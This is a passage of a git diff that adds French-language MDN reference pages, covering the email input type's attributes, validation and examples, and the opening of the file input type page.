+   <td>Un nombre qui indique le nombre de caractères affichés par le champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Cet attribut contrôle l'activation de la vérification orthographique sur le champ ou si la vérification orthographique par défaut doit être appliquée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+
+
+<p>Le nombre maximum de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille maximale. La valeur indiquée par cet attribut doit être supérieure à <code>minlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte dépasse <code>maxlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+
+
+<p>Le nombre minimal de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille minimale. La valeur indiquée par cet attribut doit être inférieur à <code>maxlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte est inférieure à <code>minlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+
+
+<h3 id="htmlattrdef(multiple)">{{htmlattrdef("multiple")}}</h3>
+
+<p>A Boolean attribute which, if present, indicates that the user can enter a list of multiple e-mail addresses, separated by commas and, optionally, whitespace characters. See {{anch("Allowing multiple e-mail addresses")}} for details.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Normally, if you specify the {{htmlattrxref("required", "input")}} attribute, the user must enter a valid e-mail address for the field to be considered valid. However, if you add the <code>multiple</code> attribute, a list of zero e-mail addresses (an empty string, or one which is entirely whitespace) is a valid value. In other words, the user does not have to enter even one e-mail address when <code>multiple</code> is specified, regardless of the value of <code>required</code>.</p>
+</div>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>Voir la section sur la validation d'un motif ci-après pour plus de détails.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "spellcheck", 0, 1, 2)}}</p>
+
+<h2 id="Attributs_non-standard">Attributs non-standard</h2>
+
+<p>Les attributs non-standard suivant sont disponibles pour les champs d'email dans certains navigateurs mais devraient ne pas être utilisés.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Une chaîne de caractères qui indique si la correction automatique doit être appliquée à ce champ texte. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'action qui sera effectuée lorsque l'utilisateur appuiera sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition du champ. La valeur de cet attribut est utilisée comme libellé pour la touche adéquate du clavier virtuel. <strong>Uniquement pris en charge par Firefox pour Android.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(autocorrect)_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdef(mozactionhint)_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h2 id="Utiliser_les_champs_de_saisie_d'adresses_électroniques">Utiliser les champs de saisie d'adresses électroniques</h2>
+
+<p>Les adresses mails font partie des informations les plus fréquentes dans les formulaires web : elles sont utilisées pour se connecter, demander des informations, confirmer une commande, envoyer un email, etc. Le type <code>"email"</code> permet de simplifier le travail de construction de l'interface utilisateur et la logique associée pour les adresses électroniques. Lorsqu'on crée un champ dont l'attribut <code>type</code> vaut <code>"email"</code>, le navigateur valide ou non le texte saisi afin de vérifier qu'il s'agit d'une adresse correcte. Cela permet d'éviter les cas où l'utilisateur a fait une faute de saisie ou lorsqu'il a fourni une adresse invalide.</p>
+
+<p>On notera toutefois que le navigateur ne vérifie pas si l'adresse saisie existe réellement ou correspond à un utilisateur existant du site ou si elle respecte quelque autre critère. Autrement dit, le navigateur vérifie uniquement que l'adresse fournie est bien formée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est également important de rappeler qu'un utilisateur peut modifier le HTML de la page grâce aux outils de développement. Votre site <em>ne doit pas</em> reposer sur les mécanismes de validation du navigateur. Il est crucial de vérifier l'adresse électronique <em>côté serveur</em> dès que le texte fournit est impliqué, d'une façon ou d'une autre, dans une fonctionnalité sensible (par exemple la connexion à un site, un achat, etc.).</p>
+</div>
+
+<h3 id="Un_champ_email_simple">Un champ email simple</h3>
+
+<p>À l'heure actuelle, l'ensemble des navigateurs qui implémentent cet élément le gèrent comme un champ texte standard auquel certaines fonctionnalités de validation sont ajoutées. La spécification laisse toutefois une marge de manœuvre pour cette validation (l'élément pourrait par exemple consulter le répertoire de l'appareil pour choisir une adresse parmi cette liste). Dans sa forme la plus simple, un champ email peut être écrit de cette façon :</p>
+
+<pre class="brush: html">&lt;input id="emailAddress" type="email"&gt;</pre>
+
+<p>{{EmbedLiveSample('Un_champ_email_simple', 600, 40)}}</p>
+
+<p>Un tel champ est considéré comme valide lorsqu'il est vide ou lorsqu'une adresse électronique bien formée est saisie. Dans les autres cas,, la valeur est considérée comme invalide. Si on ajoute l'attribut {{htmlattrxref("required", "input")}}, seuls les adresses électroniques bien formées sont autorisées, il n'est plus possible de laisser la valeur vide.</p>
+
+<h3 id="Gérer_plusieurs_adresses_mail">Gérer plusieurs adresses mail</h3>
+
+<p>Grâce à l'attribut {{htmlattrxref("multiple", "input")}}, on peut configurer le champ afin de saisir plusieurs adresses mail.</p>
+
+<pre class="brush: html">&lt;input id="emailAddress" type="email" multiple&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_plusieurs_adresses_mail', 600, 40)}}</p>
+
+<p>Avec cet attribut, la valeur saisie est valide quand on saisit zéro, une ou plusieurs adresses électroniques bien formées, séparées par des virgules et éventuellement entourées de blancs.</p>
+
+<p>Voici certains exemples de chaînes de caractères valides lorsque <code>"multiple"</code> est utilisé :</p>
+
+<ul>
+ <li><code>""</code></li>
+ <li><code>"me@example"</code></li>
+ <li><code>"me@example.org"</code></li>
+ <li><code>"me@example.org,you@example.org"</code></li>
+ <li><code>"me@example.org, you@example.org"</code></li>
+ <li><code>"me@example.org,you@example.org,    us@example.org"</code></li>
+</ul>
+
+<p>En revanche, les exemples suivants sont considérés invalides :</p>
+
+<ul>
+ <li><code>","</code></li>
+ <li><code>"me"</code></li>
+ <li><code>"me@example.org you@example.org"</code></li>
+</ul>
+
+<h3 id="Textes_indicatifs_(placeholders)">Textes indicatifs (<em>placeholders</em>)</h3>
+
+<p>Il est parfois utile de fournir une indication contextuelle quant à la valeur qui doit être saisie. C'est notamment pertinent quand la disposition de la page ne permet pas d'utiliser des étiquettes suffisamment descriptives (ou longues) pour chaque élément {{HTMLElement("input")}}. Pour fournir une telle indication, on peut fournir un <em>placeholder</em> qui sera affiché dans le champ lorsque la valeur est vide et qui disparaît dès que des données sont saisies.</p>
+
+<p>Dans l'exemple qui suit, on utilise un élément <code>&lt;input&gt;</code> de type <code>"email"</code> avec le texte indicatif <code>"sophie@example.com"</code>. Vous pouvez manipuler l'exemple afin de voir comment ce texte disparaît/réapparaît lorsqu'on édite la valeur du champ.</p>
+
+<pre class="brush: html">&lt;input type="email" placeholder="sophie@example.com"&gt;</pre>
+
+<p>{{EmbedLiveSample('Textes_indicatifs_(placeholders)', 600, 40)}}</p>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p>Il est possible de contrôler la taille physique de la boîte de saisie et également la longueur minimale/maximale de la valeur qu'il est possible de saisir.</p>
+
+<h4 id="Contrôler_la_taille_physique">Contrôler la taille physique</h4>
+
+<p>La taille physique de la boîte de saisie peut être paramétrée grâce à l'attribut {{htmlattrxref("size", "input")}}. Grâce à cet attribut, on peut indiquer le nombre de caractères que le champ peut afficher. Dans l'exemple qui suit, la boîte d'édition pourra contenir jusqu'à 15 caractères :</p>
+
+<pre class="brush: html">&lt;input type="email" size="15"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Contrôler_la_taille_physique', 600, 40)}}</p>
+
+<h4 id="Contrôler_la_taille_de_la_valeur">Contrôler la taille de la valeur</h4>
+
+<p>L'attribut <code>size</code> ne contraint pas la longueur de l'adresse qu'on pourra saisir. On peut donc avoir de petits champs qui permettent de saisir de longues adresses. Pour borner la taille de l'adresse mail à saisir, on pourra utiliser l'attribut {{htmlattrxref("minlength", "input")}} pour indiquer le nombre minimal de caractères et l'attribut {{htmlattrxref("maxlength", "input")}} pour indiquer le nombre maximal de caractères contenus dans l'adresse électronique.</p>
+
+<p>Dans l'exemple qui suit, on affiche une boîte de saisie qui mesure 32 caractères de large et dans laquelle on ne peut saisir des adresses qui ont au moins 3 caractères et au plus 64 caractères.</p>
+
+<pre class="brush: html">&lt;input type="email" size="32" minlength="3" maxlength="64"&gt;</pre>
+
+<p>{{EmbedLiveSample("Contrôler_la_taille_de_la_valeur", 600, 40)}}</p>
+
+<h3 id="Fournir_une_option_par_défaut">Fournir une option par défaut</h3>
+
+<p>On peut également fournir une valeur par défaut en remplissant l'attribut {{htmlattrxref("value", "input")}} de l'élément :</p>
+
+<div id="Default_value">
+<pre class="brush: html">&lt;input type="email" value="default@example.com"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Fournir_une_option_par_défaut", 600, 40)}}</p>
+
+<h4 id="Proposer_des_suggestions">Proposer des suggestions</h4>
+
+<p>Pour améliorer encore l'ergonomie, on peut fournir une liste d'options par défaut parmi laquelle l'utilisateur peut choisir. Cela fonctionne en utilisant l'attribut {{htmlattrxref("list", "input")}} dont la valeur est un identifiant d'un élément {{HTMLElement("datalist")}} qui contient différents éléments {{HTMLElement("option")}} dont les valeurs des attributs <code>value</code> fournissent les adresses suggérées. L'utilisateur n'est pas contraint à saisir une valeur parmi celles-ci, elles sont uniquement fournies à titre indicatif.</p>
+
+<pre class="brush: html">&lt;input type="email" size="40" list="defaultEmails"&gt;
+
+&lt;datalist id="defaultEmails"&gt;
+  &lt;option value="jbond007@mi6.defence.gov.uk"&gt;
+  &lt;option value="jbourne@unknown.net"&gt;
+  &lt;option value="nfury@shield.org"&gt;
+  &lt;option value="tony@starkindustries.com"&gt;
+  &lt;option value="hulk@grrrrrrrr.arg"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Proposer_des_suggestions", 600, 40)}}</p>
+
+<p>Lorsqu'on utilise l'élément {{HTMLElement("datalist")}} et l'élément {{HTMLElement("option")}}, le navigateur affichera les adresses suggérées lors de la saisie, généralement sous la forme d'une liste déroulante ou d'une popup. Bien que les détails d'interface puissent dépendre de chaque navigateur, cliquer sur le champ d'édition affichera généralement la liste sous forme d'un volet déroulant. Ensuite, la liste est restreinte au fur et à mesure des caractères saisis.</p>
+
+<p><img alt="Animation: Using keyboard entry to filter the list of suggested email addresses" src="https://mdn.mozillademos.org/files/14831/html-input-email1.gif" style="border-style: solid; border-width: 1px; height: 168px; width: 352px;"></p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il existe deux niveaux de validation pour les champs de saisie de type <code>"email"</code>. Tout d'abord, on a le niveau standard qui permet de vérifier automatiquement si l'adresse électronique est bien formatée. Ensuite, il est possible d'ajouter un filtre spécifique si besoin de répondre à des contraintes plus spécifiques.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> La validation du formulaire HTML par l'agent utilisateur ne saurait remplacer la vérification des données saisies côté serveur. En effet, il est relativement simple de modifier le document HTML avec son navigateur pour outrepasser les contraintes exprimées ici (quitte à les transmettre directement au serveur). Si les données ne sont pas vérifiées côté serveur, cela pourra entraîner des erreurs (valeurs trop grande, au mauvais format) voire des failles de sécurité.</p>
+</div>
+
+<h3 id="Validation_simple">Validation simple</h3>
+
+<p>Les navigateurs qui implémentent le type <code>"email"</code> fournissent une validation automatique afin de vérifier que la valeur saisie respecte le format d'une adresse électronique valide. Les navigateurs utilisent <a href="https://dxr.mozilla.org/mozilla-central/source/dom/html/input/SingleLineTextInputTypes.cpp?q=%2Bfunction%3A%22EmailInputType%3A%3AIsValidEmailAddressList%28const+nsAString+%26%29%22&amp;redirect_type=single#184">un algorithme</a> pour respecter <a href="https://w3c.github.io/html/sec-forms.html#email-state-typeemail">la spécification</a>.</p>
+
+<p>Les pseudo-classes CSS {{cssxref(":valid")}} et {{cssxref(":invalid")}} peuvent être utilisées afin de mettre en forme la valeur selon qu'elle est valide ou non.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La spécification comporte certains problèmes relatifs aux noms de domaines internationaux et à la validation des adresses électroniques en HTML. Pour plus d'informations, lire <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=15489">le bug n°15489 du W3C</a>.</p>
+</div>
+
+<h3 id="Validation_grâce_à_une_expression_rationnelle">Validation grâce à une expression rationnelle</h3>
+
+<p>S'il est nécessaire que l'adresse saisie respecte plus de critères, il est possible d'utiliser l'attribut {{htmlattrxref("pattern", "input")}} afin d'indiquer <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">une expression rationnelle</a> contre laquelle la valeur sera vérifiée. Si l'attribut {{htmlattrxref("multiple", "input")}} est actif, chaque élément de la liste devra respecter cette expression rationnelle.</p>
+
+<p>Prenons comme exemple l'intranet d'une entreprise avec un site web qui permet de contacter le département du support technique en cas de besoin. Un formulaire simplifier permet de saisir une adresse électronique et un message. Dans ce cas, on souhaite vérifier que l'adresse électronique est saisie mais également que c'est une adresse respectant le format de celles utilisées dans l'entreprise.</p>
+
+<p>Le navigateur vérifie d'une part que l'adresse électronique est une adresse correctement formatée <em>et</em> que celle-ci respecte l'expression rationnelle indiquée avec {{htmlattrxref("pattern", "input")}}. Voici un exemple d'application :</p>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  font: 16px sans-serif;
+}
+
+.emailBox {
+  padding-bottom: 20px;
+}
+
+.messageBox {
+  padding-bottom: 20px;
+}
+
+label {
+  line-height: 22px;
+}
+
+label::after {
+  content: ":";
+}</pre>
+</div>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;div class="emailBox"&gt;
+   &lt;label for="emailAddress"&gt;Votre adresse email&lt;/label&gt;&lt;br&gt;
+   &lt;input id="emailAddress" type="email" size="64" maxLength="64" required
+          placeholder="nomutilisateur@beststartupever.com" pattern=".+@beststartupever.com"
+          title="Merci de fournir uniquement une adresse Best Startup Ever"&gt;
+ &lt;/div&gt;
+
+ &lt;div class="messageBox"&gt;
+   &lt;label for="message"&gt;Requête&lt;/label&gt;&lt;br&gt;
+   &lt;textarea id="message" cols="80" rows="8" required
+             placeholder="Mes chaussures sont trop petites."&gt;&lt;/textarea&gt;
+ &lt;/div&gt;
+  &lt;input type="submit" value="Envoyer la requête"&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Validation_grâce_à_une_expression_rationnelle", 700, 275)}}</p>
+
+<p>Le formulaire ({{HTMLElement("form")}}) contient un élément {{HTMLElement("input")}} de type <code>"email"</code> pour saisir l'adresse de l'utilisateur, un élément {{HTMLElement("textarea")}} permettant de saisir le message et un élément <code>&lt;input&gt;</code> de type <code><a href="/fr/docs/Web/HTML/Element/input/submit">"submit"</a></code> qui formera un bouton permettant d'envoyer le formulaire. Chaque champ possède un élément {{HTMLElement("label")}} associé qui permet d'indiquer ce qui est attendu.</p>
+
+<p>Si on regarde le champ de saisie pour l'adresse électronique, on voit que les deux attributs {{htmlattrxref("size", "input")}} et {{htmlattrxref("maxlength", "input")}} ont la valeur 64 (on affiche une boîte de saisie large de 64 caractères et on ne peut saisir une adresse électronique d'au plus 64 caractères). L'attribut {{htmlattrxref("required", "input")}} est présent et l'adresse électronique est donc obligatoire pour l'envoi du formulaire.</p>
+
+<p>L'attribut {{htmlattrxref("placeholder", "input")}} indique qu'une valeur semblable à <code>"nomutilisateur@beststartupever.com"</code> est attendue. L'intérêt de cette valeur est double : on indique qu'il faut saisir une adresse mail et on suggère que cette adresse provient d'un compte beststartupever.com. Le type <code>"email"</code> permet de valider le texte saisi afin de vérifier qu'il s'agit d'une adresse électronique valide.  Si la valeur saisie n'est pas une adresse valide, un message d'erreur sera affiché :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14855/enter-valid-email-address.png" style="height: 125px; width: 530px;"></p>
+
+<p>Si on utilise uniquement les attributs qu'on vient de décrire, on restreint les valeurs saisissables aux adresses électroniques valides de 64 caractères. Or, on veut également valider le fait que l'adresse respecte le format "<em>nomutilisateur</em>@beststartupever.com". C'est pourquoi on utilise l'attribut {{htmlattrxref("pattern", "input")}} avec la valeur <code>".+@beststartupever.com"</code>. Cette valeur est une expression rationnelle qui permet de vérifier que la chaîne de caractère contient un ou plusieurs caractères quelconques, ensuite suivi d'une arobase (@) puis du nom de domaine "beststartupever.com".</p>
+
+<p>On notera que cette expression rationnelle ne permet pas de vérifier que l'adresse électronique est valide (on pourra par exemple avoir " @beststartupever.com" (avec un espace en début de chaîne) ou encore "@@beststartupever.com" qui ne sont pas valides). En fait, le navigateur vérifie que l'adresse respecte l'expression rationnelle fournie <strong>et</strong> que l'adresse est valide. Autrement dit, avec le type <code>"email"</code> et cette valeur pour l'attribut <code>pattern</code>, on s'assure que l'adresse est une adresse électronique valide et que c'est une bien une adresse avec le nom de domaine "beststartupever.com".</p>
+
+<p>Lorsqu'on utilise l'attribut <code>pattern</code> Il est conseillé d'utilisé l'attribut {{htmlattrxref("title")}} afin de décrire le motif de l'expression ratioennelle. Autrement dit, dans ce cas, l'attribut <code>title</code> doit décrire le format souhaité plutôt que contenir une autre information. En effet, cet attribut sera affiché ou prononcé en cas d'erreur. Par exemple, le navigateur pourrait afficher le message "Le texte saisi ne correspond pas au motif requis." suivi du texte indiqué dans la valeur de <code>title</code>. Par exemple si l'attribut <code>title</code> vaut "Adresse email", le message affiché serait "Le texte saisi ne correspond pas au motif requis. Adresse email" ce qui n'est pas correct.</p>
+
+<p>C'est pour cela qu'on indique la chaîne de caractères "Merci de fournir uniquement une adresse Best Startup Ever". Le message complet obtenu sera donc : "Le texte saisi ne correspond pas au motif requis. Merci de fournir uniquement une adresse Best Startup Ever."</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14853/email-pattern-match-bad.png" style="height: 140px; width: 536px;"></p>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous rencontrez des problèmes à propos de l'expression rationnelle, n'hésitez pas à ouvrir la console du navigateur. Cette dernière peut contenir des messages d'erreur aidant à diagnostiquer et résoudre le problème.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on peut saisir une adresse électronique qui contient au plus 256 caractères. La boîte de saisie affichera au plus 64 caractères et contiendra le texte  <code>"user@example.gov"</code> comme indication lorsque le champ est vide. On trouve également l'attribut {{htmlattrxref("multiple", "input")}} qui permet de saisir zéro ou plusieurs adresses séparées par des virgules (cf. ci-avant). Enfin, l'attribut {{htmlattrxref("list", "input")}} utilisé indique un identifiant d'un élément {{HTMLElement("datalist")}} dont les éléments {{HTMLElement("option")}} déterminent les valeurs suggérées qui peuvent être sélectionnées par l'utilisateur.</p>
+
+<p>L'élément {{HTMLElement("label")}} qui précède l'élément <code>&lt;input&gt;</code> permettra d'afficher un libellé avant la boîte de saisie. Le lien entre les deux est fait grâce à l'attribut <code>for</code> qui contient <code>"emailAddress"</code> qui est l'identifiant de l'élément {{HTMLElement("input")}}. Grâce à cette association, cliquer sur l'étiquette permettra de placer le focus sur le champ de saisie.</p>
+
+<pre class="brush: html">&lt;label for="emailAddress"&gt;Email&lt;/label&gt;&lt;br/&gt;
+&lt;input id="emailAddress" type="email" placeholder="user@example.gov"
+       list="defaultEmails" size="64" maxlength="256" multiple&gt;
+
+&lt;datalist id="defaultEmails"&gt;
+  &lt;option value="jbond007@mi6.defence.gov.uk"&gt;
+  &lt;option value="jbourne@unknown.net"&gt;
+  &lt;option value="nfury@shield.org"&gt;
+  &lt;option value="tony@starkindustries.com"&gt;
+  &lt;option value="hulk@grrrrrrrr.arg"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemples', 600, 50)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) représentant une adresse électronique ou une chaîne vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("multiple", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} et {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#e-mail-state-(type=email)', '&lt;input type="email"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#email-state-typeemail', '&lt;input type="email"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-email")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Le guide relatif aux formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input">&lt;input type="tel"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/file/index.html b/files/fr/web/html/element/input/file/index.html
new file mode 100644
index 0000000000..6c64a3e012
--- /dev/null
+++ b/files/fr/web/html/element/input/file/index.html
@@ -0,0 +1,502 @@
+---
+title: <input type="file">
+slug: Web/HTML/Element/Input/file
+tags:
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/file
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <strong><code>"file"</code></strong> permettent à un utilisateur de sélectionner un ou plusieurs fichiers depuis leur appareil et de les <em>uploader</em> vers un serveur via <a href="/fr/docs/Web/Guide/HTML/Formulaires">un formulaire</a> ou grâce à du code JavaScript <a href="/fr/docs/Using_files_from_web_applications">via l'API <em>File</em></a>.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-file.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères ({{domxref("DOMString")}}) qui représente le chemin du/des fichier(s) sélectionné(s). Les autres fichiers peuvent être identifiés grâce à la propriété <code>HTMLInputElement.files</code>.</p>
+
+<div class="note"><strong>Note :</strong>
+
+<ol>
+ <li>Si plusieurs fichiers sont sélectionnés, la chaîne de caractères représente le chemin du premier fichier sélectionné. Il est possible d'accéder aux autres fichiers en JavaScript <a href="/en-US/docs/Using_files_from_web_applications#Getting_information_about_selected_file(s)">grâce à la propriété <code>FileList</code></a>.</li>
+ <li>Si aucun fichier n'est sélectionné, la chaîne de caractères sera vide (<code>""</code>).</li>
+ <li>La chaîne de caractères <a href="https://html.spec.whatwg.org/multipage/input.html#fakepath-srsly">est préfixée avec <code>C:\fakepath\</code></a> afin d'éviter la fuite d'informations sensibles concernant la structure des fichiers de l'utilisateur.</li>
+</ol>
+</div>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs partagés par l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>file</code> peuvent également utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("accept")}}</code></td>
+   <td>Un ou plusieurs identifiants de type de fichier décrivants les types de fichier autorisés.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("capture")}}</code></td>
+   <td>La source à utiliser pour capturer des images ou des vidéos.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("files")}}</code></td>
+   <td>Un objet {{domxref("FileList")}} qui liste les fichiers choisis</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("multiple")}}</code></td>
+   <td>Un attribut booléen qui, lorsqu'il est présent, indique que plusieurs fichiers peuvent être sélectionnés.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefaccept">{{htmlattrdef("accept")}}</h3>
+
+<p>Une chaîne de caractères qui définit les types de fichier qui devraient être acceptés. Cette chaîne est une liste d'identifiants de type de fichier (cf. ci-après) séparés par des virgules. Un fichier pouvant avoir un format selon différentes extensions et types MIME, il est souvent utile de cibler plusieurs identifiants pour la bonne sélection du fichier.</p>
+
+<p>Les fichiers Microsoft Word, par exemple, peuvent être identifiés de différentes façons et, dans un site avec un champ qui accepte les fichiers Word, on pourra écrire :</p>
+
+<pre class="brush: html">&lt;input type="file" id="docpicker"
+  accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"&gt;</pre>
+
+<h3 id="htmlattrdefcapture">{{htmlattrdef("capture")}}</h3>
+
+<p>Une chaîne de caractères qui indique la caméra à utiliser pour capturer des photos et des vidéos si l'attribut <code>accept</code> indique que le fichier est de ce type. Lorsque <code>capture</code> vaut <code>"user"</code>, cela indique que la caméra qui fait face à l'utilisateur devrait être utilisée. Si l'attribut vaut <code>"environment"</code>, c'est la caméra qui est tournée vers l'extérieur devrait être utilisée. Si l'attribut est absent, l'agent utilisateur pourra décider de laquelle utiliser. Si la caméra souhaitée par l'attribut n'est pas disponible, l'agent utilisateur pourra utiliser une autre caméra de l'appareil.</p>
+
+<div class="note"><strong>Note :</strong> <code>capture</code> était auparavant un attribut booléen qui, lorsqu'il était présent, indiquait que les capteurs de l'appareil (caméra/micro) devaient être utilisés plutôt qu'un fichier.</div>
+
+<h3 id="htmlattrdeffiles">{{htmlattrdef("files")}}</h3>
+
+<p>Un objet {{domxref("FileList")}} qui liste chaque fichier sélectionné. Cette liste n'a qu'un seul élément, sauf si {{htmlattrxref("multiple", "input/file")}} est indiqué.</p>
+
+<h3 id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</h3>
+
+<p>Lorsque cet attribut booléen est indiqué, le champ peut être utilisé afin de sélectionner plus d'un fichier.</p>
+
+<h2 id="Attribut_non-standard">Attribut non-standard</h2>
+
+<p>En complément des attributs précédents, les éléments <code>&lt;input type="file"&gt;</code> peuvent utiliser les attributs spécifiques suivants. Ces attributs ne sont pas standard et ne devraient donc pas être utilisés.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
